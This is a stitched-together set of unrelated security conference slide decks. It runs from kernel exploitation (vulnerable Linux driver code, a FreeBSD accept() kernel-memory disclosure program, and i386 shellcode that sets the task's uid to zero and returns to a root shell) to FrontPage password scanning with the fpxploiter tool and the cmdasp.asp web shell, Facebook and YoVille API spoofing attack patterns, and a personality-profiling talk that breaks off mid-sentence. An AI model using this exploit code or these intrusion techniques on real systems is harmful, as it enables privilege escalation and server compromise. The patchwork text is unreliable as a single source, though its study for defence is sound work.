*)ubuff, count)) { retval = -EFAULT; goto exit; } pcilynx.c static ssize_t mem_read(struct file *file, char *buffer, size_t count, loff_t *offset) { struct memdata *md = (struct memdata *)file->private_data; ssize_t bcount; size_t alignfix; int off = (int)*offset; /* avoid useless 64bit-arithmetic */ ssize_t retval; void *membase; if ((off + count) > PCILYNX_MAX_MEMORY + 1) { count = PCILYNX_MAX_MEMORY + 1 - off; } if (count == 0) { return 0; } [ skip ] if (bcount) { memcpy_fromio(md->lynx->mem_dma_buffer + count - bcount, membase+off, bcount); } out: retval = copy_to_user(buffer, md->lynx->mem_dma_buffer, count); amdtp.c static ssize_t amdtp_write(struct file *file, const char *buffer, size_t count, loff_t *offset_is_ignored) { int i, length; [ skip ] for (i = 0; i < count; i += length) { p = buffer_put_bytes(s->input, count, &length); copy_from_user(p, buffer + i, length); static unsigned char *buffer_put_bytes(struct buffer *buffer, int max, int *actual) { int length; [ skip ] p = &buffer->data[buffer->tail]; length = min(buffer->size - buffer->length, max); if (buffer->tail + length < buffer->size) { *actual = length; buffer->tail += length; } else { *actual = buffer->size - buffer->tail; buffer->tail = 0; } buffer->length += *actual; return p; net/ipv4/route.c #ifdef CONFIG_PROC_FS static int ip_rt_acct_read(char *buffer, char **start, off_t offset, int length, int *eof, void *data) { *start=buffer; if (offset + length > sizeof(ip_rt_acct)) { length = sizeof(ip_rt_acct) - offset; *eof = 1; } if (length > 0) { start_bh_atomic(); memcpy(buffer, ((u8*)&ip_rt_acct)+offset, length); end_bh_atomic(); return length; } return 0; } #endif net/core/sock.c int lv=sizeof(int),len; if(get_user(len,optlen)) return -EFAULT; [ skip ] case SO_PEERCRED: lv=sizeof(sk->peercred); len=min(len, lv); if(copy_to_user((void*)optval, &sk->peercred, len)) return -EFAULT; goto lenout; [ skip ] len=min(len,lv); if(copy_to_user(optval,&v,len)) return -EFAULT; kernel/mtrr.c static ssize_t mtrr_write (struct file *file, const char *buf, size_t len, loff_t *ppos) /* Format of control line: "base=%lx size=%lx type=%s" OR: "disable=%d" */ { int i, err; unsigned long reg, base, size; char *ptr; char line[LINE_SIZE]; if ( !suser () ) return -EPERM; /* Can't seek (pwrite) on this device */ if (ppos != &file->f_pos) return -ESPIPE; memset (line, 0, LINE_SIZE); if (len > LINE_SIZE) len = LINE_SIZE; if ( copy_from_user (line, buf, len - 1) ) return -EFAULT; usb/rio50.c struct RioCommand { short length; ioctl_rio(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg) [ skip ] switch (cmd) { case RIO_RECV_COMMAND: data = (void *) arg; if (data == NULL) break; copy_from_user_ret(&rio_cmd, data, sizeof(struct RioCommand), -EFAULT); if (rio_cmd.length > PAGE_SIZE) return -EINVAL; buffer = (unsigned char *) __get_free_page(GFP_KERNEL); if (buffer == NULL) return -ENOMEM; copy_from_user_ret(buffer,rio_cmd.buffer,rio_cmd.length, -EFAULT); pcbit/drv.c int len [ skip ] switch(dev->l2_state) { case L2_LWMODE: /* check (size <= rdp_size); write buf into board */ if (len > BANK4 + 1) { printk("pcbit_writecmd: invalid length %d\n", len); return -EFAULT; } if (user) { u_char cbuf[1024]; copy_from_user(cbuf, buf, len); for (i=0; ish_mem + i); } else memcpy_toio(dev->sh_mem, buf, len); return len; char/buz.c zoran_ioctl if (vw.clipcount) { vcp = vmalloc(sizeof(struct video_clip) * (vw.clipcount + 4)); if (vcp == NULL) { return -ENOMEM; } if (copy_from_user(vcp, vw.clips, sizeof(struct video_clip) * vw.clipcount)) { kernel/mtrr.c static ssize_t mtrr_read (struct file *file, char *buf, size_t len, loff_t *ppos) { if (*ppos >= ascii_buf_bytes) return 0; if (*ppos + len > ascii_buf_bytes) len = ascii_buf_bytes - *ppos; // if size_t is 64bit, then *ppos + len integer overflow - Silvio if ( copy_to_user (buf, ascii_buffer + *ppos, len) ) return -EFAULT; *ppos += len; return len; } /* End Function mtrr_read */ Pause for Audience Participation! Questions? Part (iii) Kernel Exploitation. Exploit Classes • Arbitrary code execution. – Root shell. Eg, Linux binfmt_coff.c – Escape kernel sandboxing. • Eg, SE Linux, UML. • Information Disclosure. – Kernel memory. Eg, FreeBSD accept(). • Eg, SSH private key. Prior Work • Exploitation of kernel stack smashing by Noir. – Smashing the Kernel Stack for Fun and Profit, Phrack 60. – Implementation of exploit from OpenBSD select() kernel stack overflow. Kernel Implementation • All major Open Source Kernels in C programming language. • Language pitfalls are C centric, not kernel or user land centric. • No need to understand in-depth kernel algorithms, if implementation is target of attack. C Language Pitfalls • C language has undefined behaviour in certain states. – Eg, Out of bounds array access. • Undefined, generally means exploitable. • Error handling hard or difficult. – No carry or overflow sign or exception handling in integer arithmetic. – Return value of functions often both indicate error and success depending on [ambiguous] context. • Eg, malloc(), lseek() C Language Implementation Bugs • Integer problems rampant in all code. • Poor error handling rampant in most code. – Does anyone ever check for out of memory? – Does anyone ever then try to recover? – Hard crashes, or memory leaks often the final result. Kernel interfaces to target • Kernel buffer copies. – Kernel to User space copies. – User to Kernel space copies. Kernel Buffer Copying • Kernel and user space divided into [conceptual] segments. – Eg, 3g/1g user/kernel (default i386 Linux). • Validation required of buffer source and destination. – Segments. – Page present, page permissions etc. • Incorrect input validation can lead to kernel compromise. – Tens or hundreds in each kernel discovered. Kernel Buffers (1) • Kernel to user space copies. – May allow kernel memory disclosure, via unbounded copying, directly to user space buffers. • Partial copies of kernel memory possible, through MMU page fault. • Verification of page permissions not done prior to copy. – In Linux, verify_area() is mostly deprecated for this use. FreeBSD sys_accept() Exploitation char buf[1024*1024*1024]; int main(int argc, char *argv[]) { int s1, s2; int ret; int fromlen; struct sockaddr_in *from = (void *)buf; if (argc != 2) exit(1); fromlen = INT_MAX; fromlen++; s1 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); assert(s1 != -1); from->sin_addr.s_addr = INADDR_ANY; from->sin_port = htons(atoi(argv[1])); from->sin_family = AF_INET; ret = bind(s1, (struct sockaddr *)from, sizeof(*from)); assert(ret == 0); ret = listen(s1, 5); assert(ret == 0); s2 = accept(s1, (struct sockaddr *)from, &fromlen); write(1, from, BUFSIZE); exit(0); } Kernel Buffers (2) • Copy optimisation. • Identified by double underscore. – Eg, __copy_to_user. • Assume segment validation prior to buffer copy. • Exploitable if [segment] assumptions are incorrect. [classic] Exploitation (1) • Copy kernel shell code from user buffer to target in kernel segment. • Target destination a [free] system call. • Kernel shell code to change UID of current task to zero (super user). • System call now a [classic] backdoor. Exploitation • Privilege escalation. – Manipulation of task structure credentials. – Jail escape not documented in this presentation. • See Phrack 60. • Kernel continuation. – Noir’s approach in Phrack 60 to return into kernel [over] complex. Kernel Stacks • Linux 2.4 current task pointer, relative to kernel stack pointer. • Task is allocated two pages for stack. – Eg, i386 is 8K. – Bad practice to allocate kernel buffers on stack due to stack size limitations. • Task structure is at top of stack. – current = %esp & ~(8192-1) ret_from_sys_call (1) • Linux i386 implements return to user land context change with a call gate (iret). – Linux/arch/i386/arch/entry.S entry.S ENTRY(system_call) pushl %eax # save orig_eax SAVE_ALL GET_CURRENT(%ebx) testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS jne tracesys cmpl $(NR_syscalls),%eax jae badsys call *SYMBOL_NAME(sys_call_table)(,%eax,4) movl %eax,EAX(%esp) # save the return value ENTRY(ret_from_sys_call) cli # need_resched and signals atomic test cmpl $0,need_resched(%ebx) jne reschedule cmpl $0,sigpending(%ebx) jne signal_return restore_all: RESTORE_ALL ret_from_sys_call (2) • Kernel stack smashing, exploitation and returning back into kernel. – Too many things to figure out! – Not necessary! • Change context to user land after kernel exploitation. – Emulate ret_from_sys_call. [classic] Exploitation (2) • Linux/fs/binfmt_coff.c exploitation. – Buggy code that would panic if used. – Public(?) exploit since Ruxcon, still no fix. • Allows for arbitrary copy from user space (disk) to kernel. • Exploitation through custom binary, to execute shell running as super user. fs/binfmt_coff.c fs/binfmt_coff.c status = do_brk(text.vaddr, text.size); bprm->file->f_op->read(bprm->file, (char *)data.vaddr, data.scnptr, &pos); status = do_brk(data.vaddr, data.size); bprm->file->f_op->read(bprm->file, (char *)text.vaddr, text.scnptr, &pos); vaddr and scnptr are the virtual addresses and the file offsets for the relevant binary sections. Note that the vaddr has no sanity checking in either case above. include/linux/fs.h ssize_t (*read) (struct file *, char *, size_t, loff_t *); Kernel stack smashing (1) • Kernel shell code not in kernel segment. – Lives in user space, runs in kernel context. • Smash stack with return address to user land segment. – Assume alignment [correctly] where return address on stack. • Elevate privileges of the current task. • Ret_from_sys_call. – Likely to return to user space, then execute a shell, at elevated privileges. Shellcode __asm__ volatile ( "andw $~8191,%sp \n" // current task_struct "xorl %ebx,%ebx \n" "movl %ebx,300(%esp) \n" // uid (300) "movl %ebx,316(%esp) \n" // gid (316) "cli \n" "pushl $0x2b \n" // "pop %ds \n" // "pushl %ds \n" // oldss (ss == ds) "pushl $0xc0000000 \n" // oldesp "pushl $0x246 \n" // eflags "pushl $0x23 \n" // cs "pushl $shellcode \n" // eip of userspace shellcode "iret \n" ); Kernel Stack Smashing (2) • Full overwrite of return address not always possible. • Return address may point to trampoline. • Trampoline may be a jump to an atypical address in user land. • Address may be become available using mmap(). Future Work • SELinux, UML exploit implementation. • Heap bugs with the kernel memory allocator(s). – Buffer overflows. – Double frees. That’s all folks! Questions?
pdf
_vti_fpxploitation [email protected] Frontpage: Laying the ground work What is it? ● Microsoft's integrated Web Site development tool. ● System for adding basic to advanced functionality with little or no web page experience. ● Integrated MS Office package ● Security Nightmare Who is Vermeer Technologies? ● In early 1995, Vermeer Technologies developed one of the first web publishing tools for simple end users, Frontpage. ● Following enormous success, the application was later bought out by Microsoft and integrated in the Office package. Frontpage: Decoding the system Protocol Analysis Client/Server Protocol Analysis ● Communication between Client and Server. ● Frontpage Client and Server extensions communicate over HTTP PUT requests. The Frontpage client makes requests against Author.dll, Admin.dll, and shtml.exe. Author.dll(exe) Authoring commands, uploading, downloading content, reviewing properties, adding enhancements. Admin.dll(exe) Admin commands, including adding additional users, modify user permissions, listing accounts. Shtml.exe, vti_rpc Initial access and service negotiation. The Authentication System •This authentication process takes place each time a request is performed, i.e login, upload, download, change permissions, navigate folders, etc. •While an ineffective use of resources, it does limit attacks based on state. _vti_inf.html ● _vti_inf.html – This file provides configuration information and helps us determine something about the server. _vti_inf.html Cont. ● Using the following simple guidelines when reading the _vti_inf.html file we can better determine the operating system. ● _vti_inf.html files with references to .exe tools most likely reside on Unix servers. ● _vti_inf.html files with references to .dll tools most likely reside on Windows Servers ● Server extension version numbers can further help us narrow down the options. _vti_inf Version Table ● Using the information in _vti_inf.html, we can often correctly determine the OS version. Operating System/Version Frontpage Extension Version Windows 98/ME Personal Webserver ? Windows NT 4.0 4.x Windows 2000 5.x Windows XP 5.x Understanding Vermeer RPC Packets ● All responses from Frontpage Server Extensions come in the form of Vermeer RPC Packets. ● Vermeer Packets closely resemble HTML pages. Information is coded within these packets based on position within HTML tags. An early precursor to XML? Sample Vermeer RPC Packet ● The following sample VTI Packet contains large amounts of information, including physical drive locations. – Physical drive paths may be useful for Unicode exploits. Debugging Server Extensions ● Using Windbg (Microsoft Debugger) we can explore Frontpage Server Extensions. How to obtain and configure Windbg ● Download Windbg from Microsoft Debugging Website. ● http://www.microsoft.com/whdc/ddk/debugging/default.mspx Configure Symbols Server Symbols are required to determine the functions being called. http://www.microsoft.com/whdc/ddk/debugging/s ymbols.mspx Frontpage Server Extension Dlls ● Based on past debugging exercises, the following is a partial list of dlls used by Frontpage Server Extensions. ● fp4Autl.dll ● ffp4Awel.dll ● fp4amsft.dll ● fp4Avss.dll ● Author.dll ● Admin.dll Basic tips for getting started in debugging ● Multiple guides and tutorials available for debugging. – Windbg specific help files – Google ● Simple commands to remember – bm ● Set Breakpoints – (ex, bm fp4Awel!*) – bc ● Clear Breakpoints – g ● Go – p Interesting Discoveries ● Fp4Awel!Vservice – Forms a listing of all documents on the defined web prior to accepting a request. References listing when replying to a request. Fp4Awel!DSPContext:getFile, get Document Called when downloading a file via Frontpage, perhaps there are options for Buffer overruns? NTDLL Called during authentication, do some of the prior attack vectors still apply? Frontpage: Knocking on the door Custom Tools fpxploiter -> Frontpage Vulnerability Scanner Perl-Gtk Scanning tool Summary ● Now that we have a better understanding of how Frontpage works, let's see about finding vulnerable targets. ● This is what brought about fpxploiter. It's a Perl-Gtk application the provides capability for: • Locating Frontpage accessible webservers, using default options, or user defined accounts and passwords. • Servers without passwords • Servers with weak passwords Using fpxploiter: How to Start ● Start fpxploiter with the command fpxploiter. ● Application opens with main window. Using fpxploiter: How the scanner works? ● Start by providing a target list, the current configuration of the tool does not allow scanning of more than one Class C at a time. ● Select File->Set Targets or press Ctrl-T. ● Enter the host targets. Using fpxploiter: How modify the password list? ● Select File->Set Password List and select you new password list file. Using fpxploiter: How modify the default user account? ● Select File->Set User account and enter your new user account. Using fpxploiter: How to export the results? ● Select File->Save Log and select the destination for your log file, use this AFTER the scanning is complete. Additional Screen Captures ● Fpxploiter during a scanning session. Future Directions ● Support for Apache Frontpage extensions. ● Redesign of the fpxploiter tool to provide generic Frontpage access library. ● Rebuild in C/Gtk or C++/QT. ● Support for uploading content. Code ● All Code for fpxploiter is available the the following website. – http://www.fpxploiter.org ● Additionally it's on the DEFCON CD. Frontpage: What to do when your there ASP for Hackers SQL Server Database Hunting ● SQL Server Database Access Tools ● Custom ASP pages that allow us to execute queries and explore SQL Servers. ● Using fpxploiter to locate vulnerable servers. Tie it all together with ASP pages to execute sql queries against the database. Summary ● Fpxploiter helps us find vulnerable web servers. ● SQLUltimate.asp contains custom asp code that functions as a SQL Analyzer. – Ideas? Add SQL Server users (if your in the System Admin role) Access corporate data Execute extended stored procedures Locate application accounts and passwords Screen Capture ● The following screen capture shows the SQLUltimate.asp and a resulting query result. Image taken from http://ASPAlliance.com/mbrink1111/ Copyright 2003 Michael Brinkley, All Rights Reserved Used with Permission Code ● All Code for SQLUltimate.asp is available the the following website. – ASPAlliance.com ● http://aspalliance.com/mbrink1111/SQLAnalyzer.asp Command Line ASP ● ASP Page built to execute console commands and return the results. ● Built by Maceo <maceo @ dogmile.com> ●netstat -a ●ipconfig -all ●Ver ●set ●net users ●Net localgroup Allows execution of simple commands, good examples include Summary ● Fpxploiter helps us find vulnerable web servers. ● cmdasp.asp contains custom asp code to execute simple console commands. – Ideas? Use netstat -an & netstat -a as make shift reverse DNS. Use net localgroup and net view to understand drive mappings and groups. Use ping to find additional servers Screen Capture ● The following screen capture shows cmdasp.asp in action. Code ● All Code for cmdasp.asp is available the the following website. – http://www.securiteam.com/tools/5AP020U35C.h tml Future Ideas ● ASP Code can be used in conjunction with the winsock control to provide “scanning” from the webserver. ● ASP Code can be used to view SMB Shares and Remote Administration (See http://cifs.novotny.org/, amazing work with ASP.NET) ● ASP Code can be used with xmlhttp controls to navigate internal web sites (Intranets) Frontpage: Holding down the fort Securing Frontpage through best practices Strong Passwords ● As in most systems, your last line of defense is your password, and Frontpage is no different. Choose strong passwords, consisting of upper and lowercase characters (with LANMAN this is rather meaningless), numbers, and special characters. Stick with passwords over eight characters in length. Changed Admin Account ● As is good practice, consider changing the name of your Administrator account. ● Choose something meaningful, however avoid the typical choices, such as: – Root – Admin – 123 – Password Concept of least privilege ● Only provide the access necessary to get the job done. Use the Frontpage roles to assign users Author rights to specific webs as appropriate. Reserve Admin rights for specific accounts. IP Restrictions ● Using IIS native IP based restrictions you can effectively block a large portion of Frontpage attacks. ● Use the IIS Access tab to block access to the admin.dll and author.dll to IP addresses outside of your internal range. ● Additionally, consider segmenting your developers and giving this group access only. Frontpage: Closing words Fpxploiter.org Site ● Clearing house for code and commentary. References and Links ● References to the many sources used in this research, and a thanks to all involved. Older Frontpage Hacking Texts http://www.insecure.org/sploits/Microsoft.frontpage.ins ecurities.html Perl-Gtk Tutorial http://personal.riverusers.com/~swilhelm/gtkperl- tutorial/ Microsoft Frontpage MSDN http://msdn.microsoft.com/library/default.asp?url=/libra ry/en-us/dnservext/html/fpse02win.asp Thanks and Credits ● This project would never have been made possible without the support of the following people. – Mary Shannon <Wife and Greatest Fan> – Matthew Decker <Mentor> ● [email protected] – Michael D'Andrea <Graphics Designer> ● [email protected] – Stephen Bickle <Technical Review> ● [email protected] – Stephen Wilhelm <Perl-Gtk Tutorial> Questions or Comments?
pdf
So Many Ways to Slap a YoHo: Hacking Facebook & YoVille Sean Barnum, Cybersecurity Principal MITRE EvilAdamSmith, Sr. Security Consultant Tom Stracener “Strace”, Contract Engineer MITRE Misclaneous Disclaimers © Stracener, Tom 2010 Its Medicinal! © Stracener, Tom 2010 What is YoVille? © Stracener, Tom 2010 What is YoVille? © Stracener, Tom 2010 Roadmap 1) Introduction 2) Client-side trust attacks within Application APIs 3) Attack Patterns Against Social Network Gaming 4) Impact of the attacks using YoVille as an example 5) How to keep your software off the stage at DEF CON © Stracener, Tom 2010 Client-Side Trust User Gateway App X-Application Trust APP2 Client-Side Trust APP1 © Stracener, Tom 2010 Attack Characteristics Amplification: Attacker can use one compromised account to attack that users friends via social gaming. Deception: Phishers can create messages to lure users to click on malicious links or buttons, in some cases with the URI masked Easy to Exploit: By using a MITM proxy an attacker can create fake but legitimate looking prizes, gifts, or awards. Manipulating the API is trivial. © Stracener, Tom 2010 Attack Characteristics Trust: Since the attacks often originate from in-game friends or neighbors there is a greater tendency to trust the content as legitimate Stealth: Because the attacks happen at the layer of application logic they are very difficult to detect (i.e. no noisy metacharacters or scripts). Urgency: Users are trained to quickly click and claim items their friends discover before the item expires or is used up. © Stracener, Tom 2010 Attack Patterns for Client-Side Trust 1) Application API Manipulation via Man-in-the-Middle 2) Application API Content Spoofing via API Manipulation 3) Transaction or Event Tampering via API Manipulation 4) Transaction or Event Replay via API Manipulation © Stracener, Tom 2010 Attacks can prey on users interests or vanity The best kind of lies are those we want to be believe… Clicking Allow takes you to a Adobe PDF exploit © Stracener, Tom 2010 Anatomy of a web 2.0 Application Framework Master Application JavaScript Java Flash HTTP SSL API-KEY REST Web Application API JSON AJAX Application Tier Feeds/RSS Digital Signatures Encryption CSS/XSL XML Persistent Storage IFRAME HTML User Client Browser API-Request Broker User Page within Master Application is updated Application Feed © Stracener, Tom 2010 Event Feed User Application Interface Application API User Profile Friend Profile Application Feed Application Framework & API © Stracener, Tom 2010 Event Feed User Application API User Profile Friend Profile Application Feed Application Framework & API Application Interface • IFRAME • Flash • Applet • ActiveX © Stracener, Tom 2010 Application API Content Spoofing An attacker is able to modify message content or make API calls to create arbitrary content within cross-application Messages • Root Cause: Failure to protect data from modification (i.e. failure to ensure data integrity). • Impact: Attacker can create deceptive content that enables social engineering attacks, phishing, or user harassment © Stracener, Tom 2010 Content Spoofing Example Content can be spoofed by modifying messages or creating new messages via direct query Content can be spoofed by modifying messages or creating new messages via direct query © Stracener, Tom 2010 © Stracener, Tom 2010 Attack Execution Flow: Spoofing 1. Direct API Call Application Acknowledgement 2. Feed published to Gateway App via Feed 4. . Message can be a ‘wall update’ or a ‘gift’, for example Message can be a ‘wall update’ or a ‘gift’, for example Gift or Message is Delivered to Target Gift or Message is Delivered to Target 5. Gift/Message Sent Client App API Method Gateway App Cont. App: GUI App: GUI GW: Messages\Inbox GW: Messages\Inbox Feed Feed GW: User News Feed GW: User News Feed GW: Notification\Alerts © Stracener, Tom 2010 Attack Patterns © Stracener, Tom 2010 5) Application API Navigation Remapping 6) Application API Button Hijacking 7) Harvesting Usernames via API Event Monitoring 8) Exploit Injection via Application API Message 9) Malware Propagation via Application API Message Application Trust Boundaries User Gateway App Client-Side Trust © Stracener, Tom 2010 Application Trust APP2 APP1 Application API Navigation Remapping When web application links that should point back to the application or its content are rewritten to trick users into following a malicious link. • Root Cause: Failure to protect data from modification (i.e. failure to ensure data integrity). • Impact: Potential compromise of user’s machine and/or accounts via direct exploitation of browser or plugin flaws. Potential for spoofing, phishing, & authorization of malicious applications © Stracener, Tom 2010 API Request: Feed Processing MITM Proxy view Some of the examples of these follow in the next few slides © Stracener, Tom 2010 Link (Navigation) Tampering • &feed_info[template_data][name]= – Title of message, – clickable=Yes • &feed_info[template_data][href]= – URL for message title – URI masked=Yes • &feed_info[template_data][caption] = – Content of message – Clickable=No • &feed_info[template_data][media][ 0][src]= – Location of Image – URI masked=Yes – Clickable=No • &feed_info[template_data][media] [0][href]= – link for image within message – clickable=Yes – URI masked=Yes • &feed_info[action_link][0][text]= – Content of action text – URI masked=Yes – i.e. “Claim Mystery Keys” • &feed_info[action_link][0][href]= – Content of message – Clickable=No • &feed_info[template_data][media][ 0][src]= – Hyperlink for Message Image – URI masked=Yes © Stracener, Tom 2010 Link Tampering © Stracener, Tom 2010 Link Tampering © Stracener, Tom 2010 © Stracener, Tom 2010 Attack Execution Flow 1. Application Event Attacker Modifies Link Destinations 3. Application Event Message 2. Event published to Gateway App via Feed 4. . Game Application accessed via Gateway application Game Application generates a structured API request to update Gateway App. Attack Patterns © Stracener, Tom 2010 5) Application API Navigation Remapping 6) Application API Button Hijacking 7) Harvesting Usernames via API Event Monitoring 8) Exploit Injection via Application API Message 9) Malware Propagation via Application API Message Application API Button Hijacking CAPEC: 388 You’ll have to come see the talk. ;-) © Stracener, Tom 2010 Attack Patterns © Stracener, Tom 2010 5) Application API Navigation Remapping 6) Application API Button Hijacking 7) Harvesting Usernames via API Event Monitoring 8) Exploit Injection via Application API Message 9) Malware Propagation via Application API Message Malware Propagation via Application API Message CAPEC: 391 You’ll have to come see the talk. ;-) © Stracener, Tom 2010 How to Keep Your Software off the Stage at DEF CON To build secure software you MUST understand how it will be attacked © Stracener, Tom 2010 http://capec.mitre.org http://cwe.mitre.org A broad understanding of the attackers perspective resides in the heads of a relatively small group of people - most of them are here this weekend The only way to scale this knowledge is to capture and share it in a structured and standardized way Attack Patterns for Social Gaming © Stracener, Tom 2010 Application API Manipulation via Man-in-the-Middle Application API Content Spoofing via API Manipulation Transaction or Event Tampering via API Manipulation Transaction or Event Replay via API Manipulation Application API Navigation Remapping Application API Button Hijacking Harvesting Usernames via API Event Monitoring Exploit Injection via Application API Message Malware Propagation via Application API Message CAPEC-383 CAPEC-384 CAPEC-385 CAPEC-386 CAPEC-387 CAPEC-388 CAPEC-389 CAPEC-390 CAPEC-391 Prescriptive Guidance In other words: How do I avoid this $H17? You’ll have to come see the talk. ;-) © Stracener, Tom 2010
pdf
“Yeah Boy!” 1 General Flow of talk •Play 10-20 second intro from Public Enemy’s Bring The Noise... •If you love rap, you’re probably confident with high self esteem and extremely out going. •and that’s really what this talk is all about.... References: News article: http://www.independent.co.uk/arts-entertainment/music/news/classical-to-rap-music-lovers-have-much-more-in-common-than-you-would-think-919553.html Books: Snoop - Sam Gosling Research paper links (non-exhaustive): “Music Preference and the Five-Factor Model of the NEO Personality Inventory” http://pom.sagepub.com/content/25/2/120.short Music preference correlates of Jungian types http://www.sciencedirect.com/science/article/pii/S0191886903001685 Weaponizing 2 General Flow of talk •My compardres and I, whom I’ll introduce as we go along, are going to talk to you about some research we conducted to see to what extent you can determine peoples personality traits through their Facebook activity and what fun things you could do, armed with that knowledge. and because this is DEF CON, how you might EXPLOIT the knowledge of someones personality traits from social networking activity. •We’ll also look at how you might fly under the radar or even subvert the attempts of others to gain an insight into your personality through these means •you’ll see that this is still a pretty untapped area, so our hope is to get some of you suitably inspired to take a look in this area too, before it’s abused References: chris sumner OnlinePrivacyFoundation.org 3 General Flow of talk •Quick introduction Iʼm Chris Sumner, some of you know me by my twitter handle @TheSuggmeister •Together with a friend, I co-founded the fledgling volunteer organizations, The Online Privacy Foundation. We deliver talks about security to the non-geeks in our local communities and also conduct research projects to raise awareness. References: •http://www.onlineprivacyfoundation.org •OnlinePrivacyFoundation - who are we - https://www.onlineprivacyfoundation.org/?page_id=27 •http://www.facebook.com/onlineprivacyfoundation/ 4 General Flow of talk • I will start us off with a brief introduction to Personality Traits. This should put us in a good position for understanding the rest of the talk. • Then weʼll discuss the research experiment we conducted called “The Big 5 Experiment”, which looked at peoples Facebook activity in relation to their personality types. • weʼll then look at how we analysed the data and what the results told us. • in “Weaponizing” weʼll look at how knowledge of someones personality can be used and abused • and final, in “Subverting” weʼll look at techniques you could use to thwart the attempts of others to make decisions based on personality derived through Facebook activity. Personality 5 General Flow of talk: • So, Personality 101...let me first tell you how I got interested in Psychology. •You see, I went to university and studied computing. Computing students look a bit like this... 6 General Flow of talk • ....yeah, that’s right, I mean a lot like me. I learned an important lesson at uni... • if you want to meet girls, don’t study computing... So with this in mind, after graduating, I enrolled on an adult education psychology course, hopefully to meet ladies like this.... 7 General Flow of talk • wait, wait. Not quite the perfect match... 8 General Flow of talk • there that’s better, a cheerleader WITH and pizza • ... actually this was what most of the people on the class looked like... 9 General Flow of talk • this • I digress....anyway, a curious thing happened, I really enjoyed it. and personality was perhaps the most interesting area and it’s important that we start with a brief overview on personality Theophrastus c. 371 - c. 287 BC 10 General Flow of talk • As with many things, you can trace the origins of Personality back to Greece • This dude, Theophrastus is widely credited with observing differences in the behaviour of people at... 11 General Flow of talk • ...parties like this. At least this is how I image they did it in ancient greece. • He wrote a book titled “The Characters”. He covers a number of types, including the flatterer, the dissembler, the mean, the tactless, the garrulous, and the avaricious (see reference for more) •Fast forward a few years... References http://www.netplaces.com/career-tests/personality-and-your-career/a-short-history-of-the-study-of-personality.htm Book: Snoop, What your stuff says about you, Sam Gosling 1921 12 General Flow of talk • ...and we meet Carl Jung, who some might consider the godfather of personality types. • “It was Jung who suggested that human behavior could be classified by how people go about such basic functions as gathering information and making decisions based on that information. He realized that some people orient themselves to the world outside themselves (extroverts) and some people orient themselves to their inner world (introverts). He then named the cognitive processes that all people engage in — thinking, feeling, sensing, and intuiting — to come up with eight types.” (See first reference below) • Weʼll talk more about these traits later. While he proposed these traits, he didnʼt provide a test, in the way many of us are used to seeing these days... References Highly readable - http://www.netplaces.com/career-tests/personality-and-your-career/types-traits-and-temperaments.htm Book - Psychological Types (Collected Works of C.G. Jung Vol.6) Myers Briggs 13 General Flow of talk • ...enter the mother daughter team of Myers and Myers Briggs, who were fascinated with Carl Jung's work. Katherine Briggs and her daughter Isobel Briggs Myers • Iʼm going to skirt over the reasons they got interested in Personality, but essentially Briggs was intrigued by the differences in her daughter and her son in law. • ”Spurred on by a desire to find a way to help people find jobs that suited them, Isabel Myers Briggs conducted independent research and tried a series of questions out on friends, family, and students at her children's school until she came up with sixteen distinct personality types. ”.... References Highly readable - http://www.netplaces.com/career-tests/personality-and-your-career/types-traits-and-temperaments.htm Highly readable - http://en.wikipedia.org/wiki/Myers-Briggs_Type_Indicator Book - Gifts Differing: Understanding Personality Type (By Isabel Briggs-Myers) Extroverts Introverts Perceivers Judgers Judgers Intuitors Thinkers Sensers Feelers Thinkers 14 General Flow of talk • ...without going into detail, the sliced people into •Extroverts and Introverts •Sensers and Intuitors •Thinkers and Feeler •and Judgers and Perceivers. • Iʼm going to skirt over the reasons they got interested in Personality, but essentially Briggs was intrigued by the differences in her daughter and her son in law. • ”Spurred on by a desire to find a way to help people find jobs that suited them, Isabel Myers Briggs conducted independent research and tried a series of questions out on friends, family, and students at her children's school until she came up with sixteen distinct personality types. ”.... •However, this has also drawn some criticisms References Highly readable - http://www.netplaces.com/career-tests/personality-and-your-career/types-traits-and-temperaments.htm Highly readable - http://en.wikipedia.org/wiki/Myers-Briggs_Type_Indicator Book - Gifts Differing: Understanding Personality Type (By Isabel Briggs-Myers) 15 General Flow of talk • ...that is, If implemented incorrectly, which it often is, people get pigeon holed...... References Highly readable - http://en.wikipedia.org/wiki/Myers-Briggs_Type_Indicator Book - The Cult of Personality: How Personality Tests Are Leading Us to Miseducate Our Children, Mismanage Our Companies, and Misunderstand Ourselves Annie Murphy Paul Introverts Extroverts 16 General Flow of talk • ...here for example, we have introverts and extroverts, but nothing in the middle. • If we assume a normal distrubution, most people are going to somewhere in that middle ground. •Now, it doesnʼt mean that MBTI states this, itʼs the way itʼs often used. itʼs often used by people who donʼt understand that thereʼs a spectrum and that the way you answer the questions can differ depending on a variety of variables, such as your mood or amount of sleep. •I mention this because when we conducted the experiment, we could have used MBTI, but instead we chose.... References Highly readable - http://en.wikipedia.org/wiki/Myers-Briggs_Type_Indicator Book - The Cult of Personality: How Personality Tests Are Leading Us to Miseducate Our Children, Mismanage Our Companies, and Misunderstand Ourselves Annie Murphy Paul FIVE 17 General Flow of talk • ...The Five Factor Model. Sometimes called, “The Big 5” or “OCEAN”. OCEAN because it covers 5 high order personality dimensions •Openness •Conscientiousness •Extroversion •Agreeableness and •Neuroticism (more of this shortly). • The Five Factor Model does score people on a spectrum • There are a number of tests available to determine these traits, from tests with 100 or more questions to tests with 10 questions. •In research terms, and as far as Iʼm aware, the five factor model has received more scrutiny than any other personality model •For our, non-profit objectives there was one final important point. Free tests exist. Free to non-profits in anycase... so lets take a look at those 5 dimensions. References Highly readable - http://en.wikipedia.org/wiki/Myers-Briggs_Type_Indicator Book: Snoop, What your stuff says about you, Sam Gosling Openness 18 General Flow of talk • ..Keeping the letters in the right order, the first high order trait is Openness. • For someone high in Openness, I chose “Doc” (Emmett Brown) from back to the future •Now, Openness doesnʼt neccesarily equate to someone sharing a lot about themselves. In fact the attributes associated with Openness include •Creative •Imaginative •Curious •Inventive •Deep thinking •Thatʼs why I chose the “Doc”. Now, conversely... References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Openness_to_experience Book: Snoop, What your stuff says about you, Sam Gosling Low Openness 19 General Flow of talk • ..This is one of the Stepford Wives, who, to me at least demonstrate the traits of someone low in openness • Theyʼre •conventional •concrete •traditional •prefer known to unknown •if they go into a resteraunt, odd are that they probably order the same thing/things on each visit, where the Doc might choose something different every time •On to... References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Openness_to_experience Movie - The 